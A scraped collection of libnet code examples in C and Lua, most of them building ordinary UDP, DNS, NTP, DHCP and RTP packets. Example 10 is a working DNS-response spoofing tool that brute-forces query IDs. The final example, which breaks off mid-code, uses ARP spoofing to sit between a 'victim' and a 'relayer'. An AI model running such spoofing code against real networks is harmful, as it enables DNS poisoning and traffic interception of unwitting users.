Ejemplo n.º 1
0
/* include send_dns_query_libnet */
void
send_dns_query(void)
{
    char				 qbuf[24], *ptr;
    u_int16_t			 one;
    int					 packet_size = LIBNET_UDP_H + LIBNET_DNSV4_H + 24;
    static libnet_ptag_t ip_tag, udp_tag, dns_tag;

    /* build query portion of DNS packet */
    ptr = qbuf;
    memcpy(ptr, "\001a\014root-servers\003net\000", 20);
    ptr += 20;
    one = htons(1);
    memcpy(ptr, &one, 2);				/* query type = A */
    ptr += 2;
    memcpy(ptr, &one, 2);				/* query class = 1 (IP addr) */

    /* build DNS packet */
    dns_tag = libnet_build_dnsv4(
                  1234 /* identification */,
                  0x0100 /* flags: recursion desired */,
                  1 /* # questions */, 	0 /* # answer RRs */,
                  0 /* # authority RRs */, 0 /* # additional RRs */,
                  qbuf /* query */, 24 /* length of query */, l, dns_tag);
    /* build UDP header */
    udp_tag = libnet_build_udp(
                  ((struct sockaddr_in *) local)->sin_port /* source port */,
                  ((struct sockaddr_in *) dest)->sin_port /* dest port */,
                  packet_size /* length */, 0 /* checksum */,
                  NULL /* payload */, 0 /* payload length */, l, udp_tag);
    /* Since we specified the checksum as 0, libnet will automatically */
    /* calculate the UDP checksum.  Turn it off if the user doesn't want it. */
    if (zerosum)
        if (libnet_toggle_checksum(l, udp_tag, LIBNET_OFF) < 0)
            err_quit("turning off checksums: %s\n", libnet_geterror(l));
    /* build IP header */
/* *INDENT-OFF* */
	ip_tag = libnet_build_ipv4(packet_size + LIBNET_IPV4_H /* len */,
			0 /* tos */, 0 /* IP ID */, 0 /* fragment */,
			TTL_OUT /* ttl */, IPPROTO_UDP /* protocol */,
			0 /* checksum */,
			((struct sockaddr_in *) local)->sin_addr.s_addr /* source */,
			((struct sockaddr_in *) dest)->sin_addr.s_addr /* dest */,
			NULL /* payload */, 0 /* payload length */, l, ip_tag);
/* *INDENT-ON* */

    if (libnet_write(l) < 0)
    {
        err_quit("libnet_write: %s\n", libnet_geterror(l));
    }
    if (verbose)
        printf("sent: %d bytes of data\n", packet_size);
}
Ejemplo n.º 2
0
/*-
-- ptag = net:udp{src=NUM, dst=NUM, len=NUM, payload=STR, ptag=int}

Build UDP packet inside net context.

ptag is optional, defaults to creating a new protocol block
*/
static int lnet_udp (lua_State *L)
{
    libnet_t* ud = checkudata(L);
    int src = v_arg_integer(L, 2, "src");
    int dst = v_arg_integer(L, 2, "dst");
    uint32_t payloadsz = 0;
    const uint8_t* payload = checkpayload(L, 2, &payloadsz);
    int len = v_arg_integer_opt(L, 2, "len", LIBNET_UDP_H + payloadsz);
    int cksum = 0;
    int ptag = lnet_arg_ptag(L, ud, 2, LIBNET_PBLOCK_UDP_H);

    ptag = libnet_build_udp(src, dst, len, cksum, payload, payloadsz, ud, ptag);
    check_error(L, ud, ptag);
    lua_pushinteger(L, ptag);
    return 1;
}
Ejemplo n.º 3
0
void write_ipether(struct libnet_link_int *iface, char *dev, struct eth_pair *src)
{
    unsigned char pkt[ETH_H + IP_H + UDP_H];
    struct eth_pair *dst = get_dest();
    
    libnet_build_ethernet(dst->eth, src->eth, ETHERTYPE_IP, NULL, 0, pkt);
    libnet_build_ip(UDP_H, 0, 0, 0, 2, IPPROTO_UDP, src->ip, dst->ip,
	    NULL, 0, pkt + ETH_H);
    libnet_build_udp(rand() % (0xffff-1024) + 1024, rand() % 1024, 
		     NULL, 0, pkt + ETH_H + IP_H);
    if(libnet_do_checksum(pkt+ETH_H, IPPROTO_IP, IP_H) == -1)
	perror("ipv4 cksum");
    if(libnet_do_checksum(pkt+ETH_H, IPPROTO_UDP, UDP_H) == -1)
	perror("ipv4 cksum");
    if(libnet_write_link_layer(iface, dev, pkt, sizeof(pkt)) 
	    != sizeof(pkt))
	perror("Write link layer");
}
Ejemplo n.º 4
0
int main(int argc, char* argv[]) {
  srandomdev();
  if (argc != 2) {
    errx(EX_USAGE, "Usage: %s <device>", argv[0]);
  }
  char* dev = argv[1];
  char errbuf[LIBNET_ERRBUF_SIZE];
  libnet_t* context = libnet_init(LIBNET_LINK, dev, errbuf);
  if (context == NULL) {
    errx(EX_UNAVAILABLE, "libnet_init: %s", errbuf);
  }

  uint8_t buf[MAX_DHCP_SIZE];
  uint16_t size = MAX_DHCP_SIZE;
  build_dhcp_discover(source_mac, "lozenge", buf, &size);

  libnet_ptag_t ether_tag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t ip_tag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t udp_tag = LIBNET_PTAG_INITIALIZER;

  udp_tag = libnet_build_udp(68, 67, LIBNET_UDP_H + size,
                            0, buf, size,
                            context, udp_tag);

  u_short ipid = random() & 0xffff;
  ip_tag = libnet_build_ipv4(
               LIBNET_IPV4_H + LIBNET_UDP_H + size,
               0, ipid, 0, 0xff,
               IPPROTO_UDP, 0, 0, 0xffffffff,
               NULL, 0, context, ip_tag);

  ether_tag = libnet_build_ethernet(broadcast_mac, source_mac,
                                    ETHERTYPE_IP, NULL, 0, context, ether_tag);

  if (libnet_write(context) == -1) {
    libnet_destroy(context);
    errx(EX_UNAVAILABLE, "libnet_write");
  }
  printf("Wrote\n");
  libnet_destroy(context);

  return 0;
}
Ejemplo n.º 5
0
static gboolean
afinet_dd_construct_ipv4_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line)
{
  libnet_ptag_t ip, udp;
  struct sockaddr_in *src, *dst;

  if (msg->saddr->sa.sa_family != AF_INET)
    return FALSE;

  src = (struct sockaddr_in *) &msg->saddr->sa;
  dst = (struct sockaddr_in *) &self->super.dest_addr->sa;

  libnet_clear_packet(self->lnet_ctx);

  udp = libnet_build_udp(ntohs(src->sin_port),
                         ntohs(dst->sin_port),
                         LIBNET_UDP_H + msg_line->len,
                         0,
                         (guchar *) msg_line->str,
                         msg_line->len,
                         self->lnet_ctx,
                         0);
  if (udp == -1)
    return FALSE;

  ip = libnet_build_ipv4(LIBNET_IPV4_H + msg_line->len + LIBNET_UDP_H,
                         IPTOS_LOWDELAY,         /* IP tos */
                         0,                      /* IP ID */
                         0,                      /* frag stuff */
                         64,                     /* TTL */
                         IPPROTO_UDP,            /* transport protocol */
                         0,
                         src->sin_addr.s_addr,   /* source IP */
                         dst->sin_addr.s_addr,   /* destination IP */
                         NULL,                   /* payload (none) */
                         0,                      /* payload length */
                         self->lnet_ctx,
                         0);
  if (ip == -1)
    return FALSE;

  return TRUE;
}
Ejemplo n.º 6
0
// Update official timestamp, own timestamp and sequence number in the RTP header. 
// The actual RTP message is stored in tx.udp_payload.
int update_RTP(libnet_t *l, libnet_ptag_t t)
{
	u_int8_t *ptr;
	struct mz_timestamp ts;
	
	tx.rtp_sqnr++;
	tx.rtp_stmp+=160; // TODO: different values for different codecs
	
	// update SQNR
	ptr = (u_int8_t*) &tx.rtp_sqnr;
	tx.udp_payload[2] = *(ptr+1);
	tx.udp_payload[3] = *ptr;

	// update official timestamp
	ptr = (u_int8_t*) &tx.rtp_stmp;
	tx.udp_payload[4] = *(ptr+3);
	tx.udp_payload[5] = *(ptr+2);
	tx.udp_payload[6] = *(ptr+1);
	tx.udp_payload[7] = *ptr;

   
	// update own timestamp
	getcurtime(&ts); // Now add TX timestamp:
	mops_hton4 ((u_int32_t*) &ts.sec,  &tx.udp_payload[16]);
	mops_hton4 ((u_int32_t*) &ts.nsec, &tx.udp_payload[20]);
   
	t = libnet_build_udp(tx.sp, 
			     tx.dp, 
			     tx.udp_len, 
			     tx.udp_sum,
			     tx.udp_payload,
			     tx.udp_payload_s,
			     l, 
			     t);

	if (t == -1) {
		fprintf(stderr," mz/send_frame: RTP header update failed!\n");
		exit (1);
	}
	return 0;
}
Ejemplo n.º 7
0
int buildUDP(int ack){
   libnet_ptag_t udpTag;
   uint32_t temp;
   if(ack){
      temp = sIP;
      sIP=dIP;
      dIP=temp;
   }
   memset(payload,8,PAYLOAD_L);
   udpTag = libnet_build_udp(
      sp, 
      dp, 
      LIBNET_UDP_H+PAYLOAD_L, 
      0, 
      NULL, 
      (long)0, 
      l, 
      0);

   return udpTag;
}
Ejemplo n.º 8
0
int update_USUM(libnet_t *l, libnet_ptag_t t)
{
     int sum = 0;
     unsigned int tmp;

     if (tx.udp_sum != 0)
	return 0;

     sum += libnet_in_cksum((u_int16_t *) &tx.ip6_src, 16);
     if (tx.ip_option_s && tx.ip6_segs)
       sum += libnet_in_cksum((u_int16_t *) &tx.ip_option[tx.ip_option_s - 16], 16); // Use last IP address
     else
       sum += libnet_in_cksum((u_int16_t *) &tx.ip6_dst, 16);

     tmp = htonl(tx.udp_len);
     sum += libnet_in_cksum((u_int16_t *) &tmp, 4);
     tmp = htonl(IPPROTO_UDP);
     sum += libnet_in_cksum((u_int16_t *) &tmp, 4);

     tmp = ((htons(tx.sp) << 16) + htons(tx.dp));
     sum += libnet_in_cksum((u_int16_t *) &tmp, 4);

     tmp = htons(tx.udp_len) << 16;
     sum += libnet_in_cksum((u_int16_t *) &tmp, 4);

     if (tx.udp_payload_s)
       sum += libnet_in_cksum((u_int16_t *) tx.udp_payload, tx.udp_payload_s);

     tx.udp_sum = ntohs(LIBNET_CKSUM_CARRY(sum));

     t = libnet_build_udp(tx.sp,
			  tx.dp,
			  tx.udp_len,
			  tx.udp_sum,
			  tx.udp_payload_s ? tx.udp_payload : NULL,
			  tx.udp_payload_s,
			  l,
			  t);
     return t;
}
Ejemplo n.º 9
0
/*-
- ptag = net:udp{src=NUM, dst=NUM, len=NUM, payload=STR, ptag=int}

Build UDP packet inside net context.

ptag is optional, defaults to creating a new protocol block
*/
static int lnet_udp (lua_State *L)
{
    libnet_t** ud = luaL_checkudata(L, 1, L_NET_REGID);
    luaL_argcheck(L, *ud, 1, "net has been destroyed");

    int src = v_arg_integer(L, 2, "src");
    int dst = v_arg_integer(L, 2, "dst");

    size_t payloadsz = 0;
    const char* payload = v_arg_lstring(L, 2, "payload", &payloadsz, "");
    int len = v_arg_integer_opt(L, 2, "len", LIBNET_UDP_H + payloadsz);
    int cksum = 0;
    int ptag = lnet_arg_ptag(L, 2);

    if(payloadsz == 0) {
        payload = NULL;
    }

    ptag = libnet_build_udp(src, dst, len, cksum, (uint8_t*)payload, payloadsz, *ud, ptag);
    check_error(L, *ud, ptag);
    lua_pushinteger(L, ptag);
    return 1;
}
Ejemplo n.º 10
0
int main (int argc, char **argv)   {
    u_long  src_ip,                 /* source address          */
            dst_ip;                 /* destination address     */
    u_short src_port,               /* source port             */
            dst_port,               /* destination port        */
            id;                     /* dns id we are spoofing  */
    int     i,						/* loop counter            */
    		written_bytes,          /* number of bytes written */
            packet_size,            /* size of our packet      */
            payload_size,           /* size of our payload     */
            npackets,				/* num of packet to write  */
            socket;                 /* socket to write on      */
    u_char  *packet,                /* we build this           */
            *payload;               /* we send this            */

    if (argc < 7)   {
        printf("\nusage: answer_dns <source_ip> <port> <destination_ip> <port> <dns_id> <#_packets>\n");
        exit (EXIT_FAILURE);
    }

    if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
        libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n");

    src_ip   = libnet_name_resolve(argv[1], 0);
    dst_ip   = libnet_name_resolve(argv[3], 0);
    src_port = (u_short) atoi(argv[2]);
    dst_port = (u_short) atoi(argv[4]);
    id       = (u_short) atoi(argv[5]);
    npackets = (int)     atoi(argv[6]);


    payload = /* question section name/types, size: 21  */
              "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01"

              /* answer section, names/types, size: 21  */
              "\x03\x77\x77\x77\x07\x72\x65\x64\x68\x69\x76\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01"

              /* answer section, ttl, size: 4           */
              "\xff\xff\xff\xff"

              /* answer section, rdata length, size: 2  */
              "\x00\x04"

              /* answer section, rdata, size: 4         */
              "\x81\x51\xe0\x43";

    payload_size = 52;

    /*
     *  packet memory allocation
     */

    packet_size = payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H;

    libnet_init_packet(packet_size, &packet);
    if (packet == NULL)
        libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");

    /*
     *  ip header construction
     */

    libnet_build_ip(payload_size + LIBNET_UDP_H + LIBNET_DNS_H,
            0,                      /* ip tos              */
            10951,                  /* ip id               */
            0,                      /* fragmentation bits  */
            64,                     /* ttl                 */
            IPPROTO_UDP,            /* protocol            */
            src_ip,                 /* source address      */
            dst_ip,                 /* destination address */
            NULL,                   /* payload             */
            0,                      /* payload length      */
            packet);                /* packet buffer       */

     /*
      * udp header construction
      * during debugging i found that we weren't generating the correct
      * length here, that is why a payload length is included (payload + dns_header)
      * it really shouldn't be here though
      */

    libnet_build_udp(src_port,      /* source port      */
            dst_port,               /* destination port */
            NULL,                   /* payload          */
            payload_size + 12,      /* payload length   */
            packet + LIBNET_IP_H);

	/*
	 *  write npackets
	 *  we loop from here because we must change the dns id and also re-checksum
	 */
    
    printf("\nwriting packets");
    for (i = 0; i < npackets; i++)	{
    	printf(".");
    	
	    /*
	     *  dns header construction
	     */
	
	    libnet_build_dns(id+i,          /* dns id                    */
	            0x8180,                 /* control flags             */
	            1,                      /* number of questions       */
	            1,                      /* number of answer RR's     */
	            0,                      /* number of authority  RR's */
	            0,                      /* number of additional RR's */
	            payload,                /* payload                   */
	            payload_size,           /* payload length            */
	            packet + LIBNET_IP_H + LIBNET_UDP_H);
	
	    /*
	     *  calculate checksum
	     */
	
	    libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H);
	
	    /*
	     *  write packet
	     */
	
	    written_bytes = libnet_write_ip(socket, packet, packet_size);
	
	    /*
	     *  make sure the number of written bytes jives with what we expect
	     */
	
	    if (written_bytes < packet_size)
	        libnet_error(LN_ERR_WARNING, "libnet_write_ip only wrote %d of %d bytes\n", written_bytes, packet_size);
	}
	
    /*
     *  cleanup
     */

    libnet_destroy_packet(&packet);

    if (libnet_close_raw_sock(socket) == -1)
        libnet_error(LN_ERR_WARNING, "libnet_close_raw_sock couldn't close the interface");
	
	printf("\n");
	
    return (written_bytes == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
Ejemplo n.º 11
0
int
main(int argc, char **argv)
{
    int c;
    libnet_t *l;
    u_long dst_ip;
    libnet_ptag_t t;
    char errbuf[LIBNET_ERRBUF_SIZE];

    printf("libnet 1.1 NTP packet shaping[raw -- autobuilding IP]\n");

    /*
     *  Initialize the library.  Root priviledges are required.
     */
    l = libnet_init(
            LIBNET_RAW4,                            /* injection type */
            NULL,                                   /* network interface */
            errbuf);                                /* error buf */

    if (l == NULL)
    {
        fprintf(stderr, "libnet_init() failed: %s", errbuf);
        exit(EXIT_FAILURE);
    }

    dst_ip  = 0;
    while((c = getopt(argc, argv, "d:")) != EOF)
    {
        switch (c)
        {
            /*
             *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
             *  point cp to the last dot of the IP address/port string and
             *  then seperate them with a NULL byte.  The optarg now points to
             *  just the IP address, and cp points to the port.
             */
            case 'd':
                if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
                {
                    fprintf(stderr, "Bad destination IP address: %s\n", optarg);
                    exit(1);
                }
                break;
        }
    }
    if (!dst_ip)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    /*
     *  Build the packet, remmebering that order IS important.  We must
     *  build the packet from lowest protocol type on up as it would
     *  appear on the wire.  So for our NTP packet:
     *
     *  --------------------------------------------------------------------
     *  |      IP           |  UDP   |              NTP                    |   
     *  --------------------------------------------------------------------
     *         ^                 ^                      ^
     *         |--------------   |                      |
     *  libnet_build_ipv4()--|   |                      |
     *                           |                      |
     *  libnet_build_udp()-------|                      |
     *                                                  |
     *  libnet_build_ntp()------------------------------|
     */
    t = libnet_build_ntp(
        LIBNET_NTP_LI_AC,                           /* leap indicator */
        LIBNET_NTP_VN_4,                            /* version */
        LIBNET_NTP_MODE_S,                          /* mode */
        LIBNET_NTP_STRATUM_PRIMARY,                 /* stratum */
        4,                                          /* poll interval */
        1,                                          /* precision */
        0xffff,                                     /* delay interval */
        0xffff,                                     /* delay fraction */
        0xffff,                                     /* dispersion interval */
        0xffff,                                     /* dispersion fraction */
        LIBNET_NTP_REF_PPS,                         /* reference id */
        0x11,                                       /* reference ts int */
        0x22,                                       /* reference ts frac */
        0x33,                                       /* originate ts int */
        0x44,                                       /* originate ts frac */
        0x55,                                       /* receive ts int */
        0x66,                                       /* receive ts frac */
        0x77,                                       /* transmit ts interval */
        0x88,                                       /* transmit ts fraction */
        NULL,                                       /* payload */
        0,                                          /* payload size */
        l,                                          /* libnet handle */
        0);                                         /* libnet id */
    if (t == -1)
    {
        fprintf(stderr, "Can't build NTP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    libnet_seed_prand(l);
    t = libnet_build_udp(
        libnet_get_prand(LIBNET_PRu16),             /* source port */
        123,                                        /* NTP port */
        LIBNET_UDP_H + LIBNET_NTP_H,                /* UDP packet length */
        0,                                          /* checksum */
        NULL,                                       /* payload */
        0,                                          /* payload size */
        l,                                          /* libnet handle */
        0);                                         /* libnet id */
    if (t == -1)
    {
        fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    t = libnet_autobuild_ipv4(
        LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_NTP_H,/* packet length */
        IPPROTO_UDP,
        dst_ip,
        l);
    if (t == -1)
    {
        fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
        goto bad;
    }

    /*
     *  Write it to the wire.
     */

    fprintf(stderr, "l contains a %d byte packet\n", libnet_getpacket_size(l));
    c = libnet_write(l);
    if (c == -1)
    {
        fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
        goto bad;
    }
    else
    {
        fprintf(stderr, "Wrote %d byte NTP packet; check the wire.\n", c);
    }
    libnet_destroy(l);
    return (EXIT_SUCCESS);
bad:
    libnet_destroy(l);
    return (EXIT_FAILURE);
}
Ejemplo n.º 12
0
static gboolean http_redirector( pcap_process_thread_param * param, gpointer user_data)
{
	/*******************************************************************
	 * here we use TCP
	 * when we recv a SYN=1,ACK=0 packet, we just send a syn=1,ack=1 packet
	 * that contains nothing
	 * then we push a packet taht contains
	 * 	HTTP/1.0 302 Found
	 * 	Location: http://192.168.0.1/
	 * 	connection:close
	 *
	 * 	please visit http://192.168.0.1
	 * 	and then we reset the connection
	 * ****************************************************************/
	struct tcphdr * tcp_head;
	struct udphdr * udp_head;

	if(clientmgr_get_client_is_enable_by_mac(param->packet_linklayer_hdr+6))
	{
		//继续交给后续代码处理
		return FALSE ;
	}
	//非 enable 的客户端,现在要开始这般处理了,重定向到 ... 嘿嘿
	struct iphdr * ip_head = (typeof(ip_head))(param->packet_ip_contents);

	if (ip_head->daddr == redirector_ip)
	{
		return TRUE;
	}

	if (ip_head->saddr == redirector_ip)
	{
		return TRUE;
	}
	//如果是在 white list ....

	if (whiteip && g_list_find(whiteip, GINT_TO_POINTER(ip_head->daddr)))
		return FALSE;
	if (whiteip && g_list_find(whiteip, GINT_TO_POINTER(ip_head->saddr)))
		return FALSE;

	//	g_debug(_("thread %p is doing the redirect stuff"),g_thread_self());

	//Retrive the tcp header and udp header
	tcp_head = (struct tcphdr*) ((char*) ip_head + ip_head->ihl * 4);
	udp_head = (struct udphdr*) ((char*) ip_head + ip_head->ihl * 4);

#ifdef DEBUG_ONLY_HTTP_PORT
	if (tcp_head->dest != HTTP_PORT)
		return TRUE;
#endif

	//初始化libnet,每个线程一个 libnet ;)
	init_thread_libnet();

	// http 重定向
	if(ip_head->protocol == IPPROTO_TCP && tcp_head->dest == HTTP_PORT)
	{
		u_int8_t tcp_flags = ((struct libnet_tcp_hdr *) tcp_head)->th_flags;

		if(tcp_flags == TH_SYN)
		{
			/********************************
			 * 对于这样的一个握手数据包
			 * 我们应该要建立连接了
			 * 回复一个syn ack 就是了
			 *********************************/
			// here we just echo ack and syn.
			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl(
					tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0,
					libnet, 0);

			libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
					ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

			libnet_write(libnet);
			libnet_clear_packet(libnet);

			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl(
					tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0,
					libnet, 0);

			libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
					ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

		}else if (tcp_flags & (TH_ACK|TH_SYN) )
		{
			/*********************************************
			 *现在是发送页面的时候啦!
			 *********************************************/
			int SIZEHTTPHEAD = strlen((const char*) httphead);

			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq),
					ntohl(tcp_head->seq) + ntohs(ip_head->tot_len) - 40, TH_ACK
							| TH_PUSH | TH_FIN, 4096, 0, 0, 20 + SIZEHTTPHEAD,
					httphead, SIZEHTTPHEAD, libnet, 0);

			libnet_build_ipv4(40 + SIZEHTTPHEAD, 0, 0, 0x4000, 63/*ttl*/,
					IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);
		}
		else if (tcp_flags & (TH_FIN|TH_RST))
		{
			/*********************************************************
			 *好,现在结束连接!
			 ********************************************************/
			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq),
					ntohl(tcp_head->seq) + 1, TH_ACK|TH_RST, 4096, 0, 0, 20, 0, 0, libnet,
					0);
			libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
					ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

			printf("------------------------------------------------------------------------link disconnect\n");

		}else{
			return FALSE;
		}
	}//其他 TCP 直接 RST
	else if( ip_head->protocol == IPPROTO_TCP)
	{
		libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq),
				ntohl(tcp_head->seq) + 1, TH_ACK|TH_RST, 4096, 0, 0, 20, 0, 0, libnet,
				0);
		libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
				ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

	}else if(ip_head->protocol == IPPROTO_UDP && udp_head->dest != DNS_PORT)
	{
		//现在是 UDP 的时代了
		libnet_build_udp(ntohs(udp_head->dest),ntohs(udp_head->source),
				sizeof(blank)+sizeof(struct udphdr),0,blank,sizeof(blank),libnet,0);
		libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_UDP, 0,
				ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

	}else
		return FALSE;

//	if(param->linklayer_len == 14)
//		libnet_build_ethernet(
//			((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_shost,
//			/((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_dhost,
//			ETHERTYPE_IP, 0, 0, libnet, 0);
	libnet_autobuild_ethernet(
			((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_shost,
			ETHERTYPE_IP,libnet
	);
	libnet_write(libnet);
	libnet_clear_packet(libnet);
	return TRUE;
}
Ejemplo n.º 13
0
/****************************
 * CREATION OF PACKET STATE *
 ****************************/
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
	const struct sniff_ethernet *ethernet; /* The ethernet header */
	const struct sniff_ip *ip; /* The IP header */
	const struct sniff_tcp *tcp; /* The TCP header */
    const struct sniff_udp *udp;
	u_int8_t *payload; /* Packet payload */
    
	u_int size_ip;
    u_int size_protocol;
    u_int16_t length_protocol;
    
    /* Spoofed src and the real dst of the packets */
    u_int32_t dip;
    u_int32_t sip;
    u_int8_t *daddr;
    u_int8_t *saddr;
    
    
    /* GET PACKET INFORMATION SUB-STATE */
    if (packet == NULL)
    {
        printf("  * No packet received\n");
        return;
    }

	if (DEBUG == 1)
	{
		printf(" DEBUG: Packet is not null\n Packet Type:\n");
	}
    
    ethernet = (struct sniff_ethernet*)(packet);
    
    if (ethernet->ether_type == ETHER_IP)
    {
        ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
        size_ip = IP_HL(ip)*4;
        if (size_ip < 20) {
            printf("   * Invalid IP header length: %i bytes\n", size_ip);
            return;
        }

		if (DEBUG == 1)
		{
			printf("	* It's a valid IP packet\n");
		}

        /* Distinguish between TCP and UDP packets */
        if (ip->ip_p == TCP_PROTOCOL) 
        {
            tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
            size_protocol = TH_OFF(tcp)*4;
            if (size_protocol < 20) {
                printf("   * Invalid TCP header length: %u bytes\n", size_protocol);
                return;
            }
        
        }
        else if (ip->ip_p == UDP_PROTOCOL)
        {
            udp = (struct sniff_udp*)(packet + SIZE_ETHERNET + size_ip); 
            size_protocol = SIZE_UDP;
        }
    }
    
    
    else if (ethernet->ether_type == ETHER_ARP)
    { 
        struct sniff_arp * arp;
        arp = (struct sniff_arp*)(packet + SIZE_ETHERNET);
		
		if (DEBUG)
		{
			printf("	* It's a ARP Packet\n");
		}
		
        int length;
        spoof_arp(inet_addr(victim_ip),         /* target (me) protocol address */
                  inet_addr((char*)arp->arp_spa),         /* destination (hacker) protocol address */
                  (u_int8_t*) libnet_hex_aton(victim_ethernet, &length),         /* target (me) hw address */
                  (u_int8_t*) &arp->arp_sha);         /* destination protocol address */
        
        spoof_arp(inet_addr(relayer_ip),
                  inet_addr((char*)arp->arp_spa),
                  (u_int8_t*) libnet_hex_aton(relayer_ethernet, &length),
                  (u_int8_t*) &arp->arp_sha);

		return;
    }
    else
    {
        fprintf(stderr, "Don't know this protocol. Shutting down\n");
        exit(1);
    }
    
    
    
    /*  FIGURE OUT WHOM TO SEND THE PACKET AND SPOOF WHOM
        ITS FROM SUB-STATE (puh! long name) */
    
    /*  Ignoring the PORT because they doesn't matter in
        deciding where to send the packet. The ports will
        be the same if it's the relayere, victim or the hacker
        which receives the packet */

   	if (DEBUG == 1)
	{
		printf(" DEBUG: Deciding source and destionation addresses:\n");
	}

    
    int length; /* don't know why I need this ... But just to be safe.. */
    
    if(ip->ip_dst.s_addr == inet_addr(victim_ip)) /* Not sure if this comparison works... */    
    {
        sip = inet_addr(relayer_ip);
        saddr = (u_int8_t*)libnet_hex_aton(relayer_ethernet, &length);
        if (saddr == NULL)
        {
            fprintf(stderr, "Couldn't Convert MAC address: %s\n", relayer_ethernet);
            exit(1);
        }

		if (DEBUG == 1)
		{
			printf("	* Src IP: 		%s\n", relayer_ip);
			printf("	* Dst Ether: 	%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 
					saddr[0],saddr[1],saddr[2],saddr[3],saddr[4],saddr[5]);
		}
    }
    else if (ip->ip_dst.s_addr == inet_addr(relayer_ip))
    {
        sip = inet_addr(victim_ip);
        saddr = (u_int8_t*)libnet_hex_aton(victim_ethernet, &length);
        if (saddr == NULL)
        {
            fprintf(stderr, "Couldn't Convert MAC address: %s\n", victim_ethernet);
            exit(1);
        }

		if (DEBUG == 1)
		{
			printf("	* Src IP: 		%s\n", victim_ip);
			printf("	* Dst Ether: 	%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 
					saddr[0],saddr[1],saddr[2],saddr[3],saddr[4],saddr[5]);
		}
    }

  
    /* destination is always the same */
    dip = ip->ip_src.s_addr;
    daddr = (u_int8_t*)ethernet->ether_shost;

    if (daddr == NULL)
    {
        fprintf(stderr, "Couldn't fetch the dst MAC addr from ethernet header\n");
        exit(1);
    }
    

	if (DEBUG == 1)
	{
		printf("	* Dst IP: 		%s\n", 	inet_ntoa(ip->ip_src));
		printf("	* Dst Ether: 	%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 
				daddr[0],daddr[1],daddr[2],daddr[3],daddr[4],daddr[5]);
	}
    
    /* GENERATE PACKET SUB-STATE */
    if (DEBUG == 1)
	{
		printf(" DEBUG: Trying to generate packet\n");
	}
    /* Initialize libnet */
    libnet_t *l;
    char errbuf_net[LIBNET_ERRBUF_SIZE];
    
    l = libnet_init(LIBNET_LINK, dev, errbuf_net);
    if(l == NULL)
    {
        fprintf(stderr, "Error Opening Context: %s\n", errbuf_net);
        return;
    }

    if(ethernet->ether_type == ETHER_IP)
    {
    
	    if (ip->ip_p == TCP_PROTOCOL)
	    {
	        /* Create TCP packet with switched src and dst ports */
	        libnet_ptag_t libnet_tcp = 0;  
            int size_payload;
			size_payload = ntohs(ip->ip_len) - (size_ip + size_protocol);

			u_int8_t *tcp_options = (u_int8_t* )(packet + SIZE_ETHERNET + size_ip + 20); 
            u_int32_t size_tcp_options = (u_int32_t)(size_protocol - 20); 
            libnet_build_tcp_options(tcp_options, size_tcp_options, l, 0);
			
			if (size_payload == 0)
			{
				payload = NULL;
			}
			else 
			{
				payload = (u_int8_t *)(packet + SIZE_ETHERNET + size_ip + size_protocol);
			}
			
			if (DEBUG == 1)
			{
				printf("	* Size of payload %i\n", size_payload);
				printf("	* Size of IP header %i\n", size_ip);
				printf("	* Size of IP length %i\n", ip->ip_len);
			}
			
			length_protocol = size_protocol + size_payload;

	        libnet_tcp = libnet_build_tcp(htons(tcp->th_sport),    
                                          htons(tcp->th_dport),
	                                      ntohl(tcp->th_seq),
	                                      ntohl(tcp->th_ack),
